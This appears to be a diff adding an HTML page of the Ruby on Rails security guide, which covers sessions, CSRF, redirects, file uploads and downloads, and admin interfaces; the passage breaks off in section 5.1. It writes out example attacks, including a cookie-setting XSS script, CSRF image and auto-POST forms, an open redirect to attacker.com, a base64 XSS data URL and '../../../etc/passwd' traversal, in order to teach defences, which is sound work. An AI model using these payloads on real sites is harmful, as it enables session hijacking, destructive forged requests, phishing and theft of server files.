+<li><a href="#introduction">Introduction</a></li><li><a href="#sessions">Sessions</a><ul><li><a href="#what-are-sessions">What are Sessions?</a></li> <li><a href="#session-id">Session id</a></li> <li><a href="#session-hijacking">Session Hijacking</a></li> <li><a href="#session-guidelines">Session Guidelines</a></li> <li><a href="#session-storage">Session Storage</a></li> <li><a href="#replay-attacks-for-cookiestore-sessions">Replay Attacks for CookieStore Sessions</a></li> <li><a href="#session-fixation">Session Fixation</a></li> <li><a href="#session-fixation-countermeasures">Session Fixation โ€“ Countermeasures</a></li> <li><a href="#session-expiry">Session Expiry</a></li></ul></li><li><a href="#cross-site-request-forgery-csrf">Cross-Site Request Forgery (<span class="caps">CSRF</span>)</a><ul><li><a href="#csrf-countermeasures"><span class="caps">CSRF</span> Countermeasures</a></li></ul></li><li><a href="#redirection-and-files">Redirection and Files</a><ul><li><a href="#redirection">Redirection</a></li> <li><a href="#file-uploads">File Uploads</a></li> <li><a href="#executable-code-in-file-uploads">Executable Code in File Uploads</a></li> <li><a href="#file-downloads">File Downloads</a></li></ul></li><li><a href="#intranet-and-admin-security">Intranet and Admin Security</a><ul><li><a href="#additional-precautions">Additional Precautions</a></li></ul></li><li><a href="#mass-assignment">Mass Assignment</a><ul><li><a href="#countermeasures">Countermeasures</a></li></ul></li><li><a href="#user-management">User Management</a><ul><li><a href="#brute-forcing-accounts">Brute-Forcing Accounts</a></li> <li><a href="#account-hijacking">Account Hijacking</a></li> <li><a href="#captchas">CAPTCHAs</a></li> <li><a href="#logging">Logging</a></li> <li><a href="#good-passwords">Good Passwords</a></li> <li><a href="#regular-expressions">Regular Expressions</a></li> <li><a href="#privilege-escalation">Privilege Escalation</a></li></ul></li><li><a href="#injection">Injection</a><ul><li><a href="#whitelists-versus-blacklists">Whitelists versus Blacklists</a></li> <li><a href="#sql-injection"><span class="caps">SQL</span> Injection</a></li> <li><a href="#cross-site-scripting-xss">Cross-Site Scripting (<span class="caps">XSS</span>)</a></li> <li><a href="#css-injection"><span class="caps">CSS</span> Injection</a></li> <li><a href="#textile-injection">Textile Injection</a></li> <li><a href="#ajax-injection">Ajax Injection</a></li> <li><a href="#rjs-injection"><span class="caps">RJS</span> Injection</a></li> <li><a href="#command-line-injection">Command Line Injection</a></li> <li><a href="#header-injection">Header Injection</a></li></ul></li><li><a href="#additional-resources">Additional Resources</a></li><li><a href="#changelog">Changelog</a></li></ol></div>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <h3 id="introduction">1 Introduction</h3>
+<p>Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against <span class="caps">SQL</span> injection, so that this is hardly a problem. Itโ€˜s nice to see that all of the Rails applications I audited had a good level of security.</p>
+<p>In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications).</p>
+<p>The Gartner Group however estimates that 75% of attacks are at the web application layer, and found out &#8220;that out of 300 audited sites, 97% are vulnerable to attack&#8221;. This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person.</p>
+<p>The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.</p>
+<p>In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the <a href="#additional-resources">Additional Resources</a> chapter). I do it manually because thatโ€˜s how you find the nasty logical security problems.</p>
+<h3 id="sessions">2 Sessions</h3>
+<p>A good place to start looking at security is with sessions, which can be vulnerable to particular attacks.</p>
+<h4 id="what-are-sessions">2.1 What are Sessions?</h4>
+<p>&#8212; <em><span class="caps">HTTP</span> is a stateless protocol. Sessions make it stateful.</em></p>
+<p>Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request.
+Rails will create a new session automatically if a new user accesses the application. It will load an existing session if the user has already used the application.</p>
+<p>A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client&#8217;s browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+session[:user_id] = @current_user.id
+User.find(session[:user_id])
+</pre>
+</div>
+</notextile>
+
+<h4 id="session-id">2.2 Session id</h4>
+<p>&#8212; <em>The session id is a 32 byte long MD5 hash value.</em></p>
+<p>A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails&#8217; session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date.</p>
+<h4 id="session-hijacking">2.3 Session Hijacking</h4>
+<p>&#8212; <em>Stealing a user&#8217;s session id lets an attacker use the web application in the victim&#8217;s name.</em></p>
+<p>Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session.</p>
+<p>Hence, the cookie serves as temporary authentication for the web application. Everyone who seizes a cookie from someone else, may use the web application as this user โ€“ with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:</p>
+<ul>
+	<li>Sniff the cookie in an insecure network. A wireless <span class="caps">LAN</span> can be an example of such a network. In an unencrypted wireless <span class="caps">LAN</span> it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to <em class="highlight">provide a secure connection over <span class="caps">SSL</span></em>.</li>
+</ul>
+<ul>
+	<li>Most people don&#8217;t clear out the cookies after working at a public terminal. So if the last user didn&#8217;t log out of a web application, you would be able to use it as this user. Provide the user with a <em class="highlight">log-out button</em> in the web application, and <em class="highlight">make it prominent</em>.</li>
+</ul>
+<ul>
+	<li>Many cross-site scripting (<span class="caps">XSS</span>) exploits aim at obtaining the user&#8217;s cookie. You&#8217;ll read <a href="#cross-site-scripting-xss">more about <span class="caps">XSS</span></a> later.</li>
+</ul>
+<ul>
+	<li>Instead of stealing a cookie unknown to the attacker, he fixes a user&#8217;s session identifier (in the cookie) known to him. Read more about this so-called session fixation later.</li>
+</ul>
+<p>The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10โ€“$1000 (depending on the available amount of funds), $0.40โ€“$20 for credit card numbers, $1โ€“$8 for online auction site accounts and $4โ€“$30 for email passwords, according to the <a href="http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf">Symantec Global Internet Security Threat Report</a>.</p>
+<h4 id="session-guidelines">2.4 Session Guidelines</h4>
+<p>&#8212; <em>Here are some general guidelines on sessions.</em></p>
+<ul>
+	<li><em class="highlight">Do not store large objects in a session</em>. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won&#8217;t fill up your session storage space (depending on what session storage you chose, see below).
+This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user&#8217;s cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate.</li>
+</ul>
+<ul>
+	<li><em class="highlight">Critical data should not be stored in session</em>. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.</li>
+</ul>
+<h4 id="session-storage">2.5 Session Storage</h4>
+<p>&#8212; <em>Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecordStore and CookieStore.</em></p>
+<p>There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecordStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecordStore keeps the session id and hash in a database table and saves and retrieves the hash on every request.</p>
+<p>Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it:</p>
+<ul>
+	<li>Cookies imply a strict size limit of 4kB. This is fine as you should not store large amounts of data in a session anyway, as described before. <em class="highlight">Storing the current user&#8217;s database id in a session is usually ok</em>.</li>
+</ul>
+<ul>
+	<li>The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, <em class="highlight">you don&#8217;t want to store any secrets here</em>. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.</li>
+</ul>
+<p>That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So <em class="highlight">don&#8217;t use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters</em>. Put the secret in your environment.rb:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+config.action_dispatch.session = {
+  :key    =&gt; '_app_session',
+  :secret =&gt; '0x0dkfj3927dkc7djdh36rkckdfzsg...'
+}
+</pre>
+</div>
+</notextile>
+
+<p>There are, however, derivatives of CookieStore which encrypt the session hash, so the client cannot see it.</p>
+<h4 id="replay-attacks-for-cookiestore-sessions">2.6 Replay Attacks for CookieStore Sessions</h4>
+<p>&#8212; <em>Another sort of attack you have to be aware of when using CookieStore is the replay attack.</em></p>
+<p>It works like this:</p>
+<ul>
+	<li>A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we&#8217;ll do this for demonstration purposes).</li>
+	<li>The user buys something.</li>
+	<li>His new, lower credit will be stored in the session.</li>
+	<li>The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser.</li>
+	<li>The user has his credit back.</li>
+</ul>
+<p>Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).</p>
+<p>The best <em class="highlight">solution against it is not to store this kind of data in a session, but in the database_. In this case store the credit in the database and the logged_in_user</em>id in the session.</p>
+<h4 id="session-fixation">2.7 Session Fixation</h4>
+<p>&#8212; <em>Apart from stealing a user&#8217;s session id, the attacker may fix a session id known to him. This is called session fixation.</em></p>
+<p><img src="images/session_fixation.png" title="Session fixation" alt="Session fixation" /></p>
+<p>This attack focuses on fixing a user&#8217;s session id known to the attacker, and forcing the user&#8217;s browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:</p>
+<ol>
+	<li>The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image).</li>
+	<li>He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive.</li>
+	<li>Now the attacker will force the user&#8217;s browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by <span class="caps">XSS</span> accomplishes this attack. Here is an example: <tt>&lt;script&gt;โ€จdocument.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";โ€จ&lt;/script&gt;</tt>. Read more about <span class="caps">XSS</span> and injection later on.</li>
+	<li>The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim&#8217;s browser will change the session id to the trap session id.</li>
+	<li>As the new trap session is unused, the web application will require the user to authenticate.</li>
+	<li>From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn&#8217;t notice the attack.</li>
+</ol>
+<h4 id="session-fixation-countermeasures">2.8 Session Fixation โ€“ Countermeasures</h4>
+<p>&#8212; <em>One line of code will protect you from session fixation.</em></p>
+<p>The most effective countermeasure is to <em class="highlight">issue a new session identifier</em> and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+reset_session
+</pre>
+</div>
+</notextile>
+
+<p>If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, <em class="highlight">you have to transfer them to the new session</em>.</p>
+<p>Another countermeasure is to <em class="highlight">save user-specific properties in the session</em>, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. <em class="highlight">These might change over the course of a session</em>, so these users  will not be able to use your application, or only in a limited way.</p>
+<h4 id="session-expiry">2.9 Session Expiry</h4>
+<p>&#8212; <em>Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (<span class="caps">CSRF</span>), session hijacking and session fixation.</em></p>
+<p>One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to <em class="highlight">expire sessions in a database table</em>. Call <tt>Session.sweep("20 minutes")</tt> to expire sessions that were used longer than 20 minutes ago.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Session &lt; ActiveRecord::Base
+  def self.sweep(time = 1.hour)
+    time = time.split.inject { |count, unit|
+      count.to_i.send(unit)
+    } if time.is_a?(String)
+
+    delete_all &quot;updated_at &lt; '#{time.ago.to_s(:db)}'&quot;
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+delete_all &quot;updated_at &lt; '#{time.to_s(:db)}' OR
+  created_at &lt; '#{2.days.ago.to_s(:db)}'&quot;
+</pre>
+</div>
+</notextile>
+
+<h3 id="cross-site-request-forgery-csrf">3 Cross-Site Request Forgery (<span class="caps">CSRF</span>)</h3>
+<p>&#8212; <em>This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands.</em></p>
+<p><img src="images/csrf.png" alt="" /></p>
+<p>In the <a href="#sessions">session chapter</a> you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let&#8217;s start with an example:</p>
+<ul>
+	<li>Bob browses a message board and views a post from a hacker where there is a crafted <span class="caps">HTML</span> image element. The element references a command in Bob&#8217;s project management application, rather than an image file.</li>
+	<li><tt>&lt;img src="http://www.webapp.com/project/1/destroy"&gt;</tt></li>
+	<li>Bob&#8217;s session at www.webapp.com is still alive, because he didn&#8217;t log out a few minutes ago.</li>
+	<li>By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id.</li>
+	<li>The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.</li>
+	<li>Bob doesn&#8217;t notice the attack &#8212; but a few days later he finds out that project number one is gone.</li>
+</ul>
+<p>It is important to notice that the actual crafted image or link doesn&#8217;t necessarily have to be situated in the web application&#8217;s domain, it can be anywhere โ€“ in a forum, blog post or email.</p>
+<p><span class="caps">CSRF</span> appears very rarely in <span class="caps">CVE</span> (Common Vulnerabilities and Exposures) &#8212; less than 0.1% in 2006 &#8212; but it really is a &#8216;sleeping giant&#8217; [Grossman]. This is in stark contrast to the results in my (and others) security contract work โ€“ <em class="highlight"><span class="caps">CSRF</span> is an important security issue</em>.</p>
+<h4 id="csrf-countermeasures">3.1 <span class="caps">CSRF</span> Countermeasures</h4>
+<p>&#8212; <em>First, as is required by the W3C, use <span class="caps">GET</span> and <span class="caps">POST</span> appropriately. Secondly, a security token in non-<span class="caps">GET</span> requests will protect your application from <span class="caps">CSRF</span>.</em></p>
+<p>The <span class="caps">HTTP</span> protocol basically provides two main types of requests &#8211; <span class="caps">GET</span> and <span class="caps">POST</span> (and more, but they are not supported by most browsers). The World Wide Web Consortium (W3C) provides a checklist for choosing <span class="caps">HTTP</span> <span class="caps">GET</span> or <span class="caps">POST</span>:</p>
+<p><strong>Use <span class="caps">GET</span> if:</strong></p>
+<ul>
+	<li>The interaction is more <em class="highlight">like a question</em> (i.e., it is a safe operation such as a query, read operation, or lookup).</li>
+</ul>
+<p><strong>Use <span class="caps">POST</span> if:</strong></p>
+<ul>
+	<li>The interaction is more <em class="highlight">like an order</em>, or</li>
+	<li>The interaction <em class="highlight">changes the state</em> of the resource in a way that the user would perceive (e.g., a subscription to a service), or</li>
+	<li>The user is <em class="highlight">held accountable for the results</em> of the interaction.</li>
+</ul>
+<p>If your web application is RESTful, you might be used to additional <span class="caps">HTTP</span> verbs, such as <span class="caps">PUT</span> or <span class="caps">DELETE</span>. Most of todayโ€˜s web browsers, however do not support them &#8211; only <span class="caps">GET</span> and <span class="caps">POST</span>. Rails uses a hidden <tt>_method</tt> field to handle this barrier.</p>
+<p><em class="highlight">The verify method in a controller can make sure that specific actions may not be used over <span class="caps">GET</span></em>. Here is an example to verify the use of the transfer action over <span class="caps">POST</span>. If the action comes in using any other verb, it redirects to the list action.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+verify :method =&gt; :post, :only =&gt; [:transfer], :redirect_to =&gt; {:action =&gt; :list}
+</pre>
+</div>
+</notextile>
+
+<p>With this precaution, the attack from above will not work, because the browser sends a <span class="caps">GET</span> request for images, which will not be accepted by the web application.</p>
+<p>But this was only the first step, because <em class="highlight"><span class="caps">POST</span> requests can be sent automatically, too</em>. Here is an example for a link which displays www.harmless.com as destination in the browser&#8217;s status bar. In fact it dynamically creates a new form that sends a <span class="caps">POST</span> request.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;a href=&quot;http://www.harmless.com/&quot; onclick=&quot;
+  var f = document.createElement('form');
+  f.style.display = 'none';
+  this.parentNode.appendChild(f);
+  f.method = 'POST';
+  f.action = 'http://www.example.com/account/destroy';
+  f.submit();
+  return false;&quot;&gt;To the harmless survey&lt;/a&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Or the attacker places the code into the onmouseover event handler of an image:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;img src=&quot;http://www.harmless.com/img&quot; width=&quot;400&quot; height=&quot;400&quot; onmouseover=&quot;...&quot; /&gt;
+</pre>
+</div>
+</notextile>
+
+<p>There are many other possibilities, including Ajax to attack the victim in the background.โ€จThe  <em class="highlight">solution to this is including a security token in non-<span class="caps">GET</span> requests</em> which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+protect_from_forgery :secret =&gt; &quot;123456789012345678901234567890...&quot;
+</pre>
+</div>
+</notextile>
+
+<p>This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won&#8217;t need the secret, if you use CookieStorage as session storage. It will raise an ActionController::InvalidAuthenticityToken error, if the security token doesn&#8217;t match what was expected.</p>
+<p>Note that <em class="highlight">cross-site scripting (<span class="caps">XSS</span>) vulnerabilities bypass all <span class="caps">CSRF</span> protections</em>. <span class="caps">XSS</span> gives the attacker access to all elements on a page, so he can read the <span class="caps">CSRF</span> security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about <span class="caps">XSS</span></a> later.</p>
+<h3 id="redirection-and-files">4 Redirection and Files</h3>
+<p>Another class of security vulnerabilities surrounds the use of redirection and files in web applications.</p>
+<h4 id="redirection">4.1 Redirection</h4>
+<p>&#8212; <em>Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack.</em></p>
+<p>Whenever the user is allowed to pass (parts of) the <span class="caps">URL</span> for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by <span class="caps">XSS</span> in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the <span class="caps">URL</span> to the web application and the <span class="caps">URL</span> to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def legacy
+  redirect_to(params.update(:action=&gt;'main'))
+end
+</pre>
+</div>
+</notextile>
+
+<p>This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the <span class="caps">URL</span> parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the <span class="caps">URL</span>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+http://www.example.com/site/legacy?param1=xy&amp;param2=23&amp;host=www.attacker.com
+</pre>
+</div>
+</notextile>
+
+<p>If it is at the end of the <span class="caps">URL</span> it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to <em class="highlight">include only the expected parameters in a legacy action</em> (again a whitelist approach, as opposed to removing unexpected parameters). <em class="highlight">And if you redirect to an <span class="caps">URL</span>, check it with a whitelist or a regular expression</em>.</p>
+<h5 id="self-contained-xss">4.1.1 Self-contained <span class="caps">XSS</span></h5>
+<p>Another redirection and self-contained <span class="caps">XSS</span> attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from <span class="caps">HTML</span> or JavaScript to entire images:</p>
+<tt>data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K</tt><p>This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection <span class="caps">URL</span>, an attacker could redirect to this <span class="caps">URL</span> with the malicious code in it. As a countermeasure, <em class="highlight">do not allow the user to supply (parts of) the <span class="caps">URL</span> to be redirected to</em>.</p>
+<h4 id="file-uploads">4.2 File Uploads</h4>
+<p>&#8212; <em>Make sure file uploads don&#8217;t overwrite important files, and process media files asynchronously.</em></p>
+<p>Many web applications allow users to upload files. <em class="highlight">File names, which the user may choose (partly), should always be filtered</em> as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like โ€œ../../../etc/passwdโ€, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so โ€“ one more reason to run web servers, database servers and other programs as a less privileged Unix user.</p>
+<p>When filtering user input file names, <em class="highlight">don&#8217;t try to remove malicious parts</em>. Think of a situation where the web application removes all โ€œ../โ€ in a file name and an attacker uses a string such as โ€œ&#8230;.//โ€ &#8211; the result will be โ€œ../โ€. It is best to use a whitelist approach, which <em class="highlight">checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn&#8217;t a valid file name, reject it (or replace not accepted characters), but don&#8217;t remove them. Here is the file name sanitizer from the <a href="http://github.com/technoweenie/attachment">attachment_fu plugin</a></em>fu/tree/master:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def sanitize_filename(filename)
+  filename.strip.tap do |name|
+    # NOTE: File.basename doesn't work right with Windows paths on Unix
+    # get only the filename, not the whole path
+    name.sub! /\A.*(\\|\/)/, ''
+    # Finally, replace all non alphanumeric, underscore
+    # or periods with underscore
+    name.gsub! /[^\w\.\-]/, '_'
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its <em class="highlight">vulnerability to denial-of-service attacks</em>. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.</p>
+<p>The solution to this is best to <em class="highlight">process media files asynchronously</em>: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.</p>
+<h4 id="executable-code-in-file-uploads">4.3 Executable Code in File Uploads</h4>
+<p>&#8212; <em>Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails&#8217; /public directory if it is Apache&#8217;s home directory.</em></p>
+<p>The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are <span class="caps">PHP</span> and <span class="caps">CGI</span> files. Now think of a situation where an attacker uploads a file โ€œfile.cgiโ€ with code in it, which will be executed when someone downloads the file.</p>
+<p><em class="highlight">If your Apache DocumentRoot points to Rails&#8217; /public directory, do not put file uploads in it</em>, store files at least one level downwards.</p>
+<h4 id="file-downloads">4.4 File Downloads</h4>
+<p>&#8212; <em>Make sure users cannot download arbitrary files.</em></p>
+<p>Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+send_file('/var/www/uploads/' + params[:filename])
+</pre>
+</div>
+</notextile>
+
+<p>Simply pass a file name like โ€œ../../../etc/passwdโ€ to download the server&#8217;s login information. A simple solution against this, is to <em class="highlight">check that the requested file is in the expected directory</em>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
+filename = File.expand_path(File.join(basename, @file.public_filename))
+raise if basename !=
+     File.expand_path(File.join(File.dirname(filename), '../../../'))
+send_file filename, :disposition =&gt; 'inline'
+</pre>
+</div>
+</notextile>
+
+<p>Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.</p>
+<h3 id="intranet-and-admin-security">5 Intranet and Admin Security</h3>
+<p>&#8212; <em>Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world.</em></p>
+<p>In 2007 there was the first tailor-made trojan which stole information from an Intranet, namely the &#8220;Monster for employers&#8221; web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are <span class="caps">XSS</span> and <span class="caps">CSRF</span>.โ€จ</p>
+<p><strong><span class="caps">XSS</span></strong>  If your application re-displays malicious user input from the extranet, the application will be vulnerable to <span class="caps">XSS</span>. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be <span class="caps">XSS</span>.</p>
+<p>Having one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator&#8217;s cookie, injecting an iframe to steal the administrator&#8217;s password or installing malicious software through browser security holes to take over the administrator&#8217;s computer.</p>
+<p>Refer to the Injection section for countermeasures against <span class="caps">XSS</span>. It is <em class="highlight">recommended to use the SafeErb plugin</em> also in an Intranet or administration interface.</p>
+<p><strong><span class="caps">CSRF</span></strong>  Cross-Site Reference Forgery (<span class="caps">CSRF</span>) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how <span class="caps">CSRF</span> works, here are a few examples of what attackers can do in the Intranet or admin interface.</p>
+<p>A real-world example is a <a href="http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352">router reconfiguration by <span class="caps">CSRF</span></a>. The attackers sent a malicious e-mail, with <span class="caps">CSRF</span> in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a <span class="caps">HTTP</span>-<span class="caps">GET</span> request to reconfigure the user&#8217;s router (which is a popular model in Mexico). The request changed the <span class="caps">DNS</span>-settings so that requests to a Mexico-based banking site would be mapped to the attacker&#8217;s site. Everyone who accessed the banking site through that router saw the attacker&#8217;s fake web site and had his credentials stolen.</p>
+<p>Another example changed Google Adsense&#8217;s e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.โ€จ</p>
+<p>Another popular attack is to spam your web application, your blog or forum to propagate malicious <span class="caps">XSS</span>. Of course, the attacker has to know the <span class="caps">URL</span> structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application&#8217;s admin interface. The attacker may even do 1,000 lucky guesses by just including malicious <span class="caps">IMG</span>-tags which try every possible combination.</p>
+<p>For <em class="highlight">countermeasures against <span class="caps">CSRF</span> in administration interfaces and Intranet applications, refer to the countermeasures in the <span class="caps">CSRF</span> section</em>.</p>
+<h4 id="additional-precautions">5.1 Additional Precautions</h4>
+<p>The common admin interface works like this: it&#8217;s located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:</p>
+<ul>
+	<li>It is very important to <em class="highlight">think about the worst case</em>: What if someone really got hold of my cookie or user credentials. You could <em class="highlight">introduce roles</em> for the admin interface to limit the possibilities of the attacker. Or how about <em class="highlight">special login credentials</em> for the admin interface, other than the ones used for the public part of the application. Or a <em class="highlight">special password for very serious actions</em>?</li>
+</ul>
+<ul>
+	<li>Does the admin really have to access the interface from everywhere in the world? Think about <em class="highlight">limiting the login to a bunch of source IP addresses_. Examine request.remote</em>ip to find out about the user&#8217;s IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.</li>
